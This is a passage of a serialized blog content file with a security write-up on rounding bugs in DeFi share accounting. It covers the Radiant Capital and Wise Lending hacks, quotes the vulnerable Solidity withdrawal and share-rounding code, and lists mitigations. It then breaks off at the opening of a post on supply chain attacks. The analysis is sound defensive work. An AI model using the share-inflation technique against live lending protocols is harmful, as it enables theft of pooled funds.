",{"type":23,"tag":87,"props":46055,"children":46056},{},[46057],{"type":28,"value":46058},"down",{"type":28,"value":46060}," against the user.",{"type":23,"tag":24,"props":46062,"children":46063},{},[46064,46066,46072,46074,46080],{"type":28,"value":46065},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":209,"props":46067,"children":46069},{"className":46068},[],[46070],{"type":28,"value":46071},"2:1",{"type":28,"value":46073},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":209,"props":46075,"children":46077},{"className":46076},[],[46078],{"type":28,"value":46079},"3:1",{"type":28,"value":124},{"type":23,"tag":24,"props":46082,"children":46083},{},[46084],{"type":28,"value":46085},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":24,"props":46087,"children":46088},{},[46089],{"type":28,"value":46090},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":131,"props":46092,"children":46093},{},[46094,46099,46104],{"type":23,"tag":135,"props":46095,"children":46096},{},[46097],{"type":28,"value":46098},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":135,"props":46100,"children":46101},{},[46102],{"type":28,"value":46103},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":135,"props":46105,"children":46106},{},[46107],{"type":28,"value":46108},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":47,"props":46110,"children":46112},{"id":46111},"decisions",[46113],{"type":28,"value":46114},"Decisions",{"type":23,"tag":24,"props":46116,"children":46117},{},[46118],{"type":28,"value":46119},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":9693,"props":46121,"children":46123},{"id":46122},"radiant-capital",[46124],{"type":28,"value":46125},"Radiant Capital",{"type":23,"tag":24,"props":46127,"children":46128},{},[46129,46131,46138],{"type":28,"value":46130},"Radiant Capital was ",{"type":23,"tag":36,"props":46132,"children":46135},{"href":46133,"rel":46134},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[40],[46136],{"type":28,"value":46137},"hacked on Jan 2nd",{"type":28,"value":46139}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":24,"props":46141,"children":46142},{},[46143,46145,46152],{"type":28,"value":46144},"The exploit is relatively straightforward and ",{"type":23,"tag":36,"props":46146,"children":46149},{"href":46147,"rel":46148},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[40],[46150],{"type":28,"value":46151},"has already been covered previously",{"type":28,"value":124},{"type":23,"tag":24,"props":46154,"children":46155},{},[46156],{"type":28,"value":46157},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":9693,"props":46159,"children":46161},{"id":46160},"wise-lending",[46162],{"type":28,"value":46163},"Wise Lending",{"type":23,"tag":24,"props":46165,"children":46166},{},[46167,46169,46176],{"type":28,"value":46168},"Wise Lending was ",{"type":23,"tag":36,"props":46170,"children":46173},{"href":46171,"rel":46172},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[40],[46174],{"type":28,"value":46175},"hacked on January 13th",{"type":28,"value":46177}," for just under $460,000.",{"type":23,"tag":24,"props":46179,"children":46180},{},[46181],{"type":28,"value":46182},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":24,"props":46184,"children":46185},{},[46186,46188,46195,46197,46204],{"type":28,"value":46187},"This is ",{"type":23,"tag":36,"props":46189,"children":46192},{"href":46190,"rel":46191},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[40],[46193],{"type":28,"value":46194},"the code responsible",{"type":28,"value":46196}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":36,"props":46198,"children":46201},{"href":46199,"rel":46200},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[40],[46202],{"type":28,"value":46203},"no way to atomically self-bankrupt",{"type":28,"value":124},{"type":23,"tag":202,"props":46206,"children":46208},{"className":4570,"code":46207,"language":4569,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert ResultsInBadDebt();\n}\n",[46209],{"type":23,"tag":209,"props":46210,"children":46211},{"__ignoreMap":7},[46212,46243,46251,46259,46266,46288,46301,46308,46329,46359,46371,46383,46390,46414,46431],{"type":23,"tag":213,"props":46213,"children":46214},{"class":215,"line":216},[46215,46220,46225,46229,46234,46239],{"type":23,"tag":213,"props":46216,"children":46217},{"style":290},[46218],{"type":28,"value":46219},"uint256",{"type":23,"tag":213,"props":46221,"children":46222},{"style":220},[46223],{"type":28,"value":46224}," withdrawValue ",{"type":23,"tag":213,"props":46226,"children":46227},{"style":274},[46228],{"type":28,"value":3190},{"type":23,"tag":213,"props":46230,"children":46231},{"style":220},[46232],{"type":28,"value":46233}," WISE_ORACLE.",{"type":23,"tag":213,"props":46235,"children":46236},{"style":257},[46237],{"type":28,"value":46238},"getTokensInETH",{"type":23,"tag":213,"props":46240,"children":46241},{"style":220},[46242],{"type":28,"value":1511},{"type":23,"tag":213,"props":46244,"children":46245},{"class":215,"line":226},[46246],{"type":23,"tag":213,"props":46247,"children":46248},{"style":220},[46249],{"type":28,"value":46250}," _poolToken,\n",{"type":23,"tag":213,"props":46252,"children":46253},{"class":215,"line":524},[46254],{"type":23,"tag":213,"props":46255,"children":46256},{"style":220},[46257],{"type":28,"value":46258}," _amount\n",{"type":23,"tag":213,"props":46260,"children":46261},{"class":215,"line":533},[46262],{"type":23,"tag":213,"props":46263,"children":46264},{"style":220},[46265],{"type":28,"value":2183},{"type":23,"tag":213,"props":46267,"children":46268},{"class":215,"line":543},[46269,46273,46278,46283],{"type":23,"tag":213,"props":46270,"children":46271},{"style":274},[46272],{"type":28,"value":17611},{"type":23,"tag":213,"props":46274,"children":46275},{"style":220},[46276],{"type":28,"value":46277}," WISE_LENDING.",{"type":23,"tag":213,"props":46279,"children":46280},{"style":257},[46281],{"type":28,"value":46282},"lendingPoolData",{"type":23,"tag":213,"props":46284,"children":46285},{"style":220},[46286],{"type":28,"value":46287},"(_poolToken).collateralFactor\n",{"type":23,"tag":213,"props":46289,"children":46290},{"class":215,"line":551},[46291,46296],{"type":23,"tag":213,"props":46292,"children":46293},{"style":274},[46294],{"type":28,"value":46295}," /",{"type":23,"tag":213,"props":46297,"children":46298},{"style":220},[46299],{"type":28,"value":46300}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":213,"props":46302,"children":46303},{"class":215,"line":570},[46304],{"type":23,"tag":213,"props":46305,"children":46306},{"emptyLinePlaceholder":18},[46307],{"type":28,"value":530},{"type":23,"tag":213,"props":46309,"children":46310},{"class":215,"line":655},[46311,46315,46320,46324],{"type":23,"tag":213,"props":46312,"children":46313},{"style":290},[46314],{"type":28,"value":29741},{"type":23,"tag":213,"props":46316,"children":46317},{"style":220},[46318],{"type":28,"value":46319}," state ",{"type":23,"tag":213,"props":46321,"children":46322},{"style":274},[46323],{"type":28,"value":3190},{"type":23,"tag":213,"props":46325,"children":46326},{"style":220},[46327],{"type":28,"value":46328}," borrowPercentageCap\n",{"type":23,"tag":213,"props":46330,"children":46331},{"class":215,"line":1176},[46332,46336,46340,46345,46350,46354],{"type":23,"tag":213,"props":46333,"children":46334},{"style":274},[46335],{"type":28,"value":17611},{"type":23,"tag":213,"props":46337,"children":46338},{"style":220},[46339],{"type":28,"value":400},{"type":23,"tag":213,"props":46341,"children":46342},{"style":257},[46343],{"type":28,"value":46344},"overallETHCollateralsWeighted",{"type":23,"tag":213,"props":46346,"children":46347},{"style":220},[46348],{"type":28,"value":46349},"(_nftId) ",{"type":23,"tag":213,"props":46351,"children":46352},{"style":274},[46353],{"type":28,"value":4423},{"type":23,"tag":213,"props":46355,"children":46356},{"style":220},[46357],{"type":28,"value":46358}," withdrawValue)\n",{"type":23,"tag":213,"props":46360,"children":46361},{"class":215,"line":1202},[46362,46366],{"type":23,"tag":213,"props":46363,"children":46364},{"style":274},[46365],{"type":28,"value":46295},{"type":23,"tag":213,"props":46367,"children":46368},{"style":220},[46369],{"type":28,"value":46370}," PRECISION_FACTOR_E18\n",{"type":23,"tag":213,"props":46372,"children":46373},{"class":215,"line":1758},[46374,46378],{"type":23,"tag":213,"props":46375,"children":46376},{"style":274},[46377],{"type":28,"value":32501},{"type":23,"tag":213,"props":46379,"children":46380},{"style":220},[46381],{"type":28,"value":46382}," borrowAmount;\n",{"type":23,"tag":213,"props":46384,"children":46385},{"class":215,"line":1767},[46386],{"type":23,"tag":213,"props":46387,"children":46388},{"emptyLinePlaceholder":18},[46389],{"type":28,"value":530},{"type":23,"tag":213,"props":46391,"children":46392},{"class":215,"line":1789},[46393,46397,46402,46406,46410],{"type":23,"tag":213,"props":46394,"children":46395},{"style":1362},[46396],{"type":28,"value":15637},{"type":23,"tag":213,"props":46398,"children":46399},{"style":220},[46400],{"type":28,"value":46401}," (state ",{"type":23,"tag":213,"props":46403,"children":46404},{"style":274},[46405],{"type":28,"value":8660},{"type":23,"tag":213,"props":46407,"children":46408},{"style":230},[46409],{"type":28,"value":12551},{"type":23,"tag":213,"props":46411,"children":46412},{"style":220},[46413],{"type":28,"value":14870},{"type":23,"tag":213,"props":46415,"children":46416},{"class":215,"line":1812},[46417,46422,46427],{"type":23,"tag":213,"props":46418,"children":46419},{"style":1362},[46420],{"type":28,"value":46421}," revert",{"type":23,"tag":213,"props":46423,"children":46424},{"style":257},[46425],{"type":28,"value":46426}," ResultsInBadDebt",{"type":23,"tag":213,"props":46428,"children":46429},{"style":220},[46430],{"type":28,"value":3759},{"type":23,"tag":213,"props":46432,"children":46433},{"class":215,"line":1838},[46434],{"type":23,"tag":213,"props":46435,"children":46436},{"style":220},[46437],{"type":28,"value":1208},{"type":23,"tag":24,"props":46439,"children":46440},{},[46441],{"type":28,"value":46442},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":24,"props":46444,"children":46445},{},[46446],{"type":28,"value":46447},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":24,"props":46449,"children":46450},{},[46451,46453,46459],{"type":28,"value":46452},"And indeed, ",{"type":23,"tag":36,"props":46454,"children":46457},{"href":46455,"rel":46456},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[40],[46458],{"type":28,"value":46163},{"type":28,"value":46460}," rounds up the share value.",{"type":23,"tag":202,"props":46462,"children":46464},{"className":4570,"code":46463,"language":4569,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[46465],{"type":23,"tag":209,"props":46466,"children":46467},{"__ignoreMap":7},[46468,46484,46501,46517,46530,46537,46545,46553,46573,46580,46601,46622,46644,46673,46694],{"type":23,"tag":213,"props":46469,"children":46470},{"class":215,"line":216},[46471,46475,46480],{"type":23,"tag":213,"props":46472,"children":46473},{"style":230},[46474],{"type":28,"value":31433},{"type":23,"tag":213,"props":46476,"children":46477},{"style":257},[46478],{"type":28,"value":46479}," _calculateShares",{"type":23,"tag":213,"props":46481,"children":46482},{"style":220},[46483],{"type":28,"value":1511},{"type":23,"tag":213,"props":46485,"children":46486},{"class":215,"line":226},[46487,46492,46497],{"type":23,"tag":213,"props":46488,"children":46489},{"style":290},[46490],{"type":28,"value":46491}," uint256",{"type":23,"tag":213,"props":46493,"children":46494},{"style":268},[46495],{"type":28,"value":46496}," _product",{"type":23,"tag":213,"props":46498,"children":46499},{"style":220},[46500],{"type":28,"value":944},{"type":23,"tag":213,"props":46502,"children":46503},{"class":215,"line":524},[46504,46508,46513],{"type":23,"tag":213,"props":46505,"children":46506},{"style":290},[46507],{"type":28,"value":46491},{"type":23,"tag":213,"props":46509,"children":46510},{"style":268},[46511],{"type":28,"value":46512}," _pseudo",{"type":23,"tag":213,"props":46514,"children":46515},{"style":220},[46516],{"type":28,"value":944},{"type":23,"tag":213,"props":46518,"children":46519},{"class":215,"line":533},[46520,46525],{"type":23,"tag":213,"props":46521,"children":46522},{"style":290},[46523],{"type":28,"value":46524}," bool",{"type":23,"tag":213,"props":46526,"children":46527},{"style":268},[46528],{"type":28,"value":46529}," _maxSharePrice\n",{"type":23,"tag":213,"props":46531,"children":46532},{"class":215,"line":543},[46533],{"type":23,"tag":213,"props":46534,"children":46535},{"style":220},[46536],{"type":28,"value":2183},{"type":23,"tag":213,"props":46538,"children":46539},{"class":215,"line":551},[46540],{"type":23,"tag":213,"props":46541,"children":46542},{"style":230},[46543],{"type":28,"value":46544}," private\n",{"type":23,"tag":213,"props":46546,"children":46547},{"class":215,"line":570},[46548],{"type":23,"tag":213,"props":46549,"children":46550},{"style":230},[46551],{"type":28,"value":46552}," pure\n",{"type":23,"tag":213,"props":46554,"children":46555},{"class":215,"line":655},[46556,46561,46565,46569],{"type":23,"tag":213,"props":46557,"children":46558},{"style":1362},[46559],{"type":28,"value":46560}," returns",{"type":23,"tag":213,"props":46562,"children":46563},{"style":220},[46564],{"type":28,"value":400},{"type":23,"tag":213,"props":46566,"children":46567},{"style":290},[46568],{"type":28,"value":46219},{"type":23,"tag":213,"props":46570,"children":46571},{"style":220},[46572],{"type":28,"value":2183},{"type":23,"tag":213,"props":46574,"children":46575},{"class":215,"line":1176},[46576],{"type":23,"tag":213,"props":46577,"children":46578},{"style":220},[46579],{"type":28,"value":10964},{"type":23,"tag":213,"props":46581,"children":46582},{"class":215,"line":1202},[46583,46587,46592,46596],{"type":23,"tag":213,"props":46584,"children":46585},{"style":1362},[46586],{"type":28,"value":17040},{"type":23,"tag":213,"props":46588,"children":46589},{"style":220},[46590],{"type":28,"value":46591}," _maxSharePrice ",{"type":23,"tag":213,"props":46593,"children":46594},{"style":274},[46595],{"type":28,"value":8660},{"type":23,"tag":213,"props":46597,"children":46598},{"style":230},[46599],{"type":28,"value":46600}," true\n",{"type":23,"tag":213,"props":46602,"children":46603},{"class":215,"line":1758},[46604,46609,46614,46618],{"type":23,"tag":213,"props":46605,"children":46606},{"style":274},[46607],{"type":28,"value":46608}," ?",{"type":23,"tag":213,"props":46610,"children":46611},{"style":220},[46612],{"type":28,"value":46613}," _product % _pseudo ",{"type":23,"tag":213,"props":46615,"children":46616},{"style":274},[46617],{"type":28,"value":8660},{"type":23,"tag":213,"props":46619,"children":46620},{"style":514},[46621],{"type":28,"value":24337},{"type":23,"tag":213,"props":46623,"children":46624},{"class":215,"line":1767},[46625,46630,46635,46639],{"type":23,"tag":213,"props":46626,"children":46627},{"style":274},[46628],{"type":28,"value":46629}," ?",{"type":23,"tag":213,"props":46631,"children":46632},{"style":220},[46633],{"type":28,"value":46634}," _product ",{"type":23,"tag":213,"props":46636,"children":46637},{"style":274},[46638],{"type":28,"value":4675},{"type":23,"tag":213,"props":46640,"children":46641},{"style":220},[46642],{"type":28,"value":46643}," _pseudo\n",{"type":23,"tag":213,"props":46645,"children":46646},{"class":215,"line":1789},[46647,46652,46656,46660,46665,46669],{"type":23,"tag":213,"props":46648,"children":46649},{"style":274},[46650],{"type":28,"value":46651}," :",{"type":23,"tag":213,"props":46653,"children":46654},{"style":220},[46655],{"type":28,"value":46634},{"type":23,"tag":213,"props":46657,"children":46658},{"style":274},[46659],{"type":28,"value":4675},{"type":23,"tag":213,"props":46661,"children":46662},{"style":220},[46663],{"type":28,"value":46664}," _pseudo ",{"type":23,"tag":213,"props":46666,"children":46667},{"style":274},[46668],{"type":28,"value":2703},{"type":23,"tag":213,"props":46670,"children":46671},{"style":514},[46672],{"type":28,"value":19496},{"type":23,"tag":213,"props":46674,"children":46675},{"class":215,"line":1812},[46676,46681,46685,46689],{"type":23,"tag":213,"props":46677,"children":46678},{"style":274},[46679],{"type":28,"value":46680}," :",{"type":23,"tag":213,"props":46682,"children":46683},{"style":220},[46684],{"type":28,"value":46634},{"type":23,"tag":213,"props":46686,"children":46687},{"style":274},[46688],{"type":28,"value":4675},{"type":23,"tag":213,"props":46690,"children":46691},{"style":220},[46692],{"type":28,"value":46693}," _pseudo;\n",{"type":23,"tag":213,"props":46695,"children":46696},{"class":215,"line":1838},[46697],{"type":23,"tag":213,"props":46698,"children":46699},{"style":220},[46700],{"type":28,"value":1208},{"type":23,"tag":24,"props":46702,"children":46703},{},[46704,46709],{"type":23,"tag":87,"props":46705,"children":46706},{},[46707],{"type":28,"value":46708},"Regardless of which way the share rounding occurs, this is a bug",{"type":28,"value":46710},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":24,"props":46712,"children":46713},{},[46714],{"type":28,"value":46715},"This is a really tricky invariant to reason about!",{"type":23,"tag":47,"props":46717,"children":46719},{"id":46718},"root-cause",[46720],{"type":28,"value":46721},"Root Cause",{"type":23,"tag":24,"props":46723,"children":46724},{},[46725],{"type":28,"value":46726},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":24,"props":46728,"children":46729},{},[46730],{"type":28,"value":46731},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":202,"props":46733,"children":46735},{"className":4570,"code":46734,"language":4569,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[46736],{"type":23,"tag":209,"props":46737,"children":46738},{"__ignoreMap":7},[46739],{"type":23,"tag":213,"props":46740,"children":46741},{"class":215,"line":216},[46742,46747,46751,46756,46760],{"type":23,"tag":213,"props":46743,"children":46744},{"style":220},[46745],{"type":28,"value":46746},"totalDepositShares ",{"type":23,"tag":213,"props":46748,"children":46749},{"style":274},[46750],{"type":28,"value":1696},{"type":23,"tag":213,"props":46752,"children":46753},{"style":220},[46754],{"type":28,"value":46755}," _amount ",{"type":23,"tag":213,"props":46757,"children":46758},{"style":274},[46759],{"type":28,"value":4675},{"type":23,"tag":213,"props":46761,"children":46762},{"style":220},[46763],{"type":28,"value":46764}," pseudoTotalPool\n",{"type":23,"tag":24,"props":46766,"children":46767},{},[46768],{"type":28,"value":46769},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":24,"props":46771,"children":46772},{},[46773,46775,46779],{"type":28,"value":46774},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":87,"props":46776,"children":46777},{},[46778],{"type":28,"value":19971},{"type":28,"value":46780}," integer division?",{"type":23,"tag":47,"props":46782,"children":46784},{"id":46783},"mitigations",[46785],{"type":28,"value":46786},"Mitigations",{"type":23,"tag":24,"props":46788,"children":46789},{},[46790],{"type":28,"value":46791},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":24,"props":46793,"children":46794},{},[46795,46797,46804],{"type":28,"value":46796},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":36,"props":46798,"children":46801},{"href":46799,"rel":46800},"https://twitter.com/danielvf/status/1746306320553152615",[40],[46802],{"type":28,"value":46803},"@danielvf notes",{"type":28,"value":46805},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":202,"props":46807,"children":46809},{"className":4570,"code":46808,"language":4569,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[46810],{"type":23,"tag":209,"props":46811,"children":46812},{"__ignoreMap":7},[46813,46837,46884,46918],{"type":23,"tag":213,"props":46814,"children":46815},{"class":215,"line":216},[46816,46820,46825,46829,46833],{"type":23,"tag":213,"props":46817,"children":46818},{"style":1362},[46819],{"type":28,"value":15637},{"type":23,"tag":213,"props":46821,"children":46822},{"style":220},[46823],{"type":28,"value":46824}," (_totalSupply ",{"type":23,"tag":213,"props":46826,"children":46827},{"style":274},[46828],{"type":28,"value":8660},{"type":23,"tag":213,"props":46830,"children":46831},{"style":514},[46832],{"type":28,"value":517},{"type":23,"tag":213,"props":46834,"children":46835},{"style":220},[46836],{"type":28,"value":14870},{"type":23,"tag":213,"props":46838,"children":46839},{"class":215,"line":226},[46840,46845,46849,46854,46859,46864,46869,46874,46879],{"type":23,"tag":213,"props":46841,"children":46842},{"style":220},[46843],{"type":28,"value":46844}," liquidity ",{"type":23,"tag":213,"props":46846,"children":46847},{"style":274},[46848],{"type":28,"value":3190},{"type":23,"tag":213,"props":46850,"children":46851},{"style":220},[46852],{"type":28,"value":46853}," Math.",{"type":23,"tag":213,"props":46855,"children":46856},{"style":257},[46857],{"type":28,"value":46858},"sqrt",{"type":23,"tag":213,"props":46860,"children":46861},{"style":220},[46862],{"type":28,"value":46863},"(amount0.",{"type":23,"tag":213,"props":46865,"children":46866},{"style":257},[46867],{"type":28,"value":46868},"mul",{"type":23,"tag":213,"props":46870,"children":46871},{"style":220},[46872],{"type":28,"value":46873},"(amount1)).",{"type":23,"tag":213,"props":46875,"children":46876},{"style":257},[46877],{"type":28,"value":46878},"sub",{"type":23,"tag":213,"props":46880,"children":46881},{"style":220},[46882],{"type":28,"value":46883},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":213,"props":46885,"children":46886},{"class":215,"line":524},[46887,46892,46896,46900,46904,46908,46913],{"type":23,"tag":213,"props":46888,"children":46889},{"style":257},[46890],{"type":28,"value":46891}," _mint",{"type":23,"tag":213,"props":46893,"children":46894},{"style":220},[46895],{"type":28,"value":265},{"type":23,"tag":213,"props":46897,"children":46898},{"style":290},[46899],{"type":28,"value":32696},{"type":23,"tag":213,"props":46901,"children":46902},{"style":220},[46903],{"type":28,"value":265},{"type":23,"tag":213,"props":46905,"children":46906},{"style":514},[46907],{"type":28,"value":4116},{"type":23,"tag":213,"props":46909,"children":46910},{"style":220},[46911],{"type":28,"value":46912},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":213,"props":46914,"children":46915},{"style":537},[46916],{"type":28,"value":46917},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":213,"props":46919,"children":46920},{"class":215,"line":533},[46921,46926,46930],{"type":23,"tag":213,"props":46922,"children":46923},{"style":220},[46924],{"type":28,"value":46925},"} ",{"type":23,"tag":213,"props":46927,"children":46928},{"style":1362},[46929],{"type":28,"value":3412},{"type":23,"tag":213,"props":46931,"children":46932},{"style":220},[46933],{"type":28,"value":1375},{"type":23,"tag":24,"props":46935,"children":46936},{},[46937,46939,46946],{"type":28,"value":46938},"Alternatively, ",{"type":23,"tag":36,"props":46940,"children":46943},{"href":46941,"rel":46942},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[40],[46944],{"type":28,"value":46945},"storing the conversion rate separately",{"type":28,"value":46947}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":202,"props":46949,"children":46951},{"className":4570,"code":46950,"language":4569,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[46952],{"type":23,"tag":209,"props":46953,"children":46954},{"__ignoreMap":7},[46955,46990],{"type":23,"tag":213,"props":46956,"children":46957},{"class":215,"line":216},[46958,46963,46967,46972,46976,46981,46985],{"type":23,"tag":213,"props":46959,"children":46960},{"style":220},[46961],{"type":28,"value":46962},"accrualIndices.borrowed ",{"type":23,"tag":213,"props":46964,"children":46965},{"style":274},[46966],{"type":28,"value":3190},{"type":23,"tag":213,"props":46968,"children":46969},{"style":220},[46970],{"type":28,"value":46971}," accrualIndices.borrowed ",{"type":23,"tag":213,"props":46973,"children":46974},{"style":274},[46975],{"type":28,"value":1696},{"type":23,"tag":213,"props":46977,"children":46978},{"style":220},[46979],{"type":28,"value":46980}," borrowInterestFactor ",{"type":23,"tag":213,"props":46982,"children":46983},{"style":274},[46984],{"type":28,"value":4675},{"type":23,"tag":213,"props":46986,"children":46987},{"style":220},[46988],{"type":28,"value":46989}," precision;\n",{"type":23,"tag":213,"props":46991,"children":46992},{"class":215,"line":226},[46993,46998,47002,47007,47011,47016,47020],{"type":23,"tag":213,"props":46994,"children":46995},{"style":220},[46996],{"type":28,"value":46997},"accrualIndices.deposited ",{"type":23,"tag":213,"props":46999,"children":47000},{"style":274},[47001],{"type":28,"value":3190},{"type":23,"tag":213,"props":47003,"children":47004},{"style":220},[47005],{"type":28,"value":47006}," accrualIndices.deposited ",{"type":23,"tag":213,"props":47008,"children":47009},{"style":274},[47010],{"type":28,"value":1696},{"type":23,"tag":213,"props":47012,"children":47013},{"style":220},[47014],{"type":28,"value":47015}," depositInterestFactor ",{"type":23,"tag":213,"props":47017,"children":47018},{"style":274},[47019],{"type":28,"value":4675},{"type":23,"tag":213,"props":47021,"children":47022},{"style":220},[47023],{"type":28,"value":46989},{"type":23,"tag":24,"props":47025,"children":47026},{},[47027],{"type":28,"value":47028},"We also want to note some general takeaways:",{"type":23,"tag":24,"props":47030,"children":47031},{},[47032,47034,47039],{"type":28,"value":47033},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":87,"props":47035,"children":47036},{},[47037],{"type":28,"value":47038},"apply the state changes and check the invariant",{"type":28,"value":124},{"type":23,"tag":24,"props":47041,"children":47042},{},[47043],{"type":28,"value":47044},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":24,"props":47046,"children":47047},{},[47048],{"type":28,"value":47049},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":47,"props":47051,"children":47052},{"id":28989},[47053],{"type":28,"value":19000},{"type":23,"tag":24,"props":47055,"children":47056},{},[47057],{"type":28,"value":47058},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":24,"props":47060,"children":47061},{},[47062],{"type":28,"value":47063},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":2957,"props":47065,"children":47066},{},[47067],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":47069},[47070,47071,47072,47076,47077,47078],{"id":29072,"depth":226,"text":29075},{"id":45992,"depth":226,"text":45995},{"id":46111,"depth":226,"text":46114,"children":47073},[47074,47075],{"id":46122,"depth":524,"text":46125},{"id":46160,"depth":524,"text":46163},{"id":46718,"depth":226,"text":46721},{"id":46783,"depth":226,"text":46786},{"id":28989,"depth":226,"text":19000},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":47083,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":47084,"description":47085,"author":47086,"image":47087,"date":47089,"isFeatured":18,"onBlogPage":18,"body":47090,"_type":2967,"_id":50570,"_source":2969,"_file":50571,"_stem":50572,"_extension":2972},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[31257,31256],{"src":47088},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":47091,"toc":50549},[47092,47096,47117,47122,47126,47131,47170,47176,47191,47209,47214,47219,47224,47237,47544,47570,47583,47588,47593,47607,47612,47625,47639,47870,47891,47926,47932,47937,47942,48156,48177,48183,48195,48285,48307,48343,48351,48369,48626,48652,48658,48672,48870,48889,49296,49309,49315,49334,49427,49432,49438,49451,49464,49550,49556,49568,49653,49665,49678,49684,49689,49703,50030,50035,50040,50046,50072,50127,50147,50200,50206,50211,50230,50241,50435,50441,50464,50470,50475,50488,50493,50498,50502,50507,50515,50545],{"type":23,"tag":47,"props":47093,"children":47094},{"id":19009},[47095],{"type":28,"value":19012},{"type":23,"tag":24,"props":47097,"children":47098},{},[47099,47106,47108,47115],{"type":23,"tag":36,"props":47100,"children":47103},{"href":47101,"rel":47102},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[40],[47104],{"type":28,"value":47105},"Supply chain",{"type":28,"value":47107}," attacks are becoming 